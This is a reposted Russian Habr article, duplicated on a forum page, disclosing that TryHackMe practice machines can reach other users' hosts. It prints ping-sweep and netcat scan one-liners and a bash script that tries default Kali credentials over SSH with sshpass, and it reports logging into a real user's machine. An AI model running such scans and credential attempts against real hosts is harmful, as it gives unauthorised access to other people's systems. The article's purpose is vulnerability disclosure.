[Информационная безопасность, Тестирование IT-систем] «Hack Me на TryHackMe», или Небезопасное изучение инфобеза на известной платформе
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.Написать эту статью меня подтолкнули 3 причины:
- Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;
- Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);
- Автору оригинала очень лень переписывать статью на русском языке.
DSCLAIMERЭта уязвимость была изначально найдена не мной, но я получил у автора оригинала разрешение на использование материалов оригинальной статьи и публикацию на русском языке. И уже я перепроверял, что конь всё ещё не валялся в системе инфобеза платформы TryHackMe, и использовать ее, мягко говоря, не очень безопасно. Ссылка на оригинальную статью. Завязка сюжетаЕсть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.Однако, как показала практика, тут тоже работает славный принцип «х*як, х*як, и в продакшн».Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно! Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.В качестве тестовой точки я выбрал виртуалку «Basic Pentesting».
В роли атакующего у нас ...Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0
for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done
Ищем живых соседейЖизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0 …
Ищем еще
Видим ...
Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.
Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.
for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done
Ищем открытый 80 портА вот и первые претенденты. CURL’луем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:
Уверен, что у многих директория веб-сервера на Kali выглядит примерно такжеКульминация
А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.Опа! Не ставится.
Прав нет. А если найду?Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?
Ну, тут даже без комментариев …
Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:
#!/bin/bash
for ip in {2..255}
do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)
if [ ! -z $ip_check ]
then
echo -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";
nc -vz -w 2 $ip_check 22 > log.txt 2>&1;
ssh_refused=$(grep -o "refused" log.txt)
ssh_timeout=$(grep -o "timed" log.txt)
if [ ! -z $ssh_refused ]
then
echo -e "\e[01;31mSSH is closed. Going further. \e[00m";
echo " ";
elif [ ! -z $ssh_timeout ]
then
echo -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";
echo " ";
else
echo -e "\e[01;32mSSH is open. Trying to connect... \e[00m";
sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;
echo " ";
fi
fi
done
rm log.txt;
echo -e "\e[01;32mEnumeration has been finished! \e[00m";
РазвязкаПроверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:
- kali:kali
- root:toor
- user:toor
ПОЕХАЛИ!
А вот и первый «БЕЗОПАСНИК» с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке …
Привет привет ovpn файлПробуем sudo …
Ну как бы вот ...
ЭпилогКакие из всего этого следуют практические выводы?Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот «уровне» защиты сети на платформе TryHackMe? Определённо нет.Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:
- Включить вашу рабочую машину в ботнет;
- Покопаться во внутрикорпоративной сети компании и вашей личной инфе;
- Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;
- Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);
- Всё, что пришло вам в голову к этому моменту …
А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.Особенно меня «порадовала» реакция платформы TryHackMe на багрепорт всей этой ситуации.Первичный отчет был направлен в TryHackMe 2 мая 2021. Оригинальная статья вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.
TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?Ну и вишенка на торте:
Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза …
Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения. Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность] Google-like система поиска уязвимостей IT Security Search — анонс вебинара
- [Информационная безопасность, Законодательство в IT] «Юла» и «Лаборатория Касперского» обнаружили взрывной рост имитаторов сайтов бесплатных объявлений
- [Тестирование IT-систем, Тестирование веб-сервисов, Конференции] 23 июня, 19:00 — онлайн-митап QAчественное общение
- [Информационная безопасность, Интервью] «Деньги – не самоцель. За деньгами нужно идти не в «айти», а в наркоторговлю»
- [Информационная безопасность, Законодательство в IT, Гаджеты] Полиция Ирландии будет требовать пароли от устройств задержанных
- [Информационная безопасность, Работа с видео, Тестирование веб-сервисов] Кража закрытых видео YouTube по одному кадру (перевод)
- [Информационная безопасность, Криптография, Законодательство в IT] «Большая семерка» попросила Россию бороться с операторами криптовымогателей внутри страны
- [Информационная безопасность, Системное администрирование, Софт, IT-компании] Фишинг с поддельным приглашением на встречу (перевод)
- [Информационная безопасность, Спортивное программирование, IT-инфраструктура] The Standoff, май 2021 года. О пойманных зверьках в песочнице
- [Информационная безопасность, Читальный зал, Сотовая связь] Кто читает ваши SMS
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_testirovanie_itsistem (Тестирование IT-систем), #_tryhackme, #_informatsionnaja_bezopasnost (информационная безопасность), #_pentest (пентест), #_ujazvimosti (уязвимости), #_ujazvimosti_i_ih_ekspluatatsija (уязвимости и их эксплуатация), #_ujazvimosti_seti (уязвимости сети), #_zaschita_informatsii (защита информации), #_testirovanie_na_proniknovenie (тестирование на проникновение), #_setevaja_bezopasnost (сетевая безопасность), #_zaschita_seti (защита сети), #_blog_kompanii_t.hunter (
Блог компании T.Hunter
), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_testirovanie_itsistem (
Тестирование IT-систем
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 01:43
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.Написать эту статью меня подтолкнули 3 причины:
В роли атакующего у нас ...Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0 for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done
Ищем живых соседейЖизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0 … Ищем еще Видим ... Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache. Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы. for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done
Ищем открытый 80 портА вот и первые претенденты. CURL’луем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки: Уверен, что у многих директория веб-сервера на Kali выглядит примерно такжеКульминация А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.Опа! Не ставится. Прав нет. А если найду?Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же? Ну, тут даже без комментариев … Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора: #!/bin/bash
for ip in {2..255} do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1) if [ ! -z $ip_check ] then echo -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m"; nc -vz -w 2 $ip_check 22 > log.txt 2>&1; ssh_refused=$(grep -o "refused" log.txt) ssh_timeout=$(grep -o "timed" log.txt) if [ ! -z $ssh_refused ] then echo -e "\e[01;31mSSH is closed. Going further. \e[00m"; echo " "; elif [ ! -z $ssh_timeout ] then echo -e "\e[01;31mSSH doesn't respond. Going further. \e[00m"; echo " "; else echo -e "\e[01;32mSSH is open. Trying to connect... \e[00m"; sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check; sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check; sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check; echo " "; fi fi done rm log.txt; echo -e "\e[01;32mEnumeration has been finished! \e[00m";
ПОЕХАЛИ! А вот и первый «БЕЗОПАСНИК» с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке … Привет привет ovpn файлПробуем sudo … Ну как бы вот ... ЭпилогКакие из всего этого следуют практические выводы?Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот «уровне» защиты сети на платформе TryHackMe? Определённо нет.Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:
TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?Ну и вишенка на торте: Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза … Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения. Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц. =========== Источник: habr.com =========== Похожие новости:
Блог компании T.Hunter ), #_informatsionnaja_bezopasnost ( Информационная безопасность ), #_testirovanie_itsistem ( Тестирование IT-систем ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 01:43
Часовой пояс: UTC + 5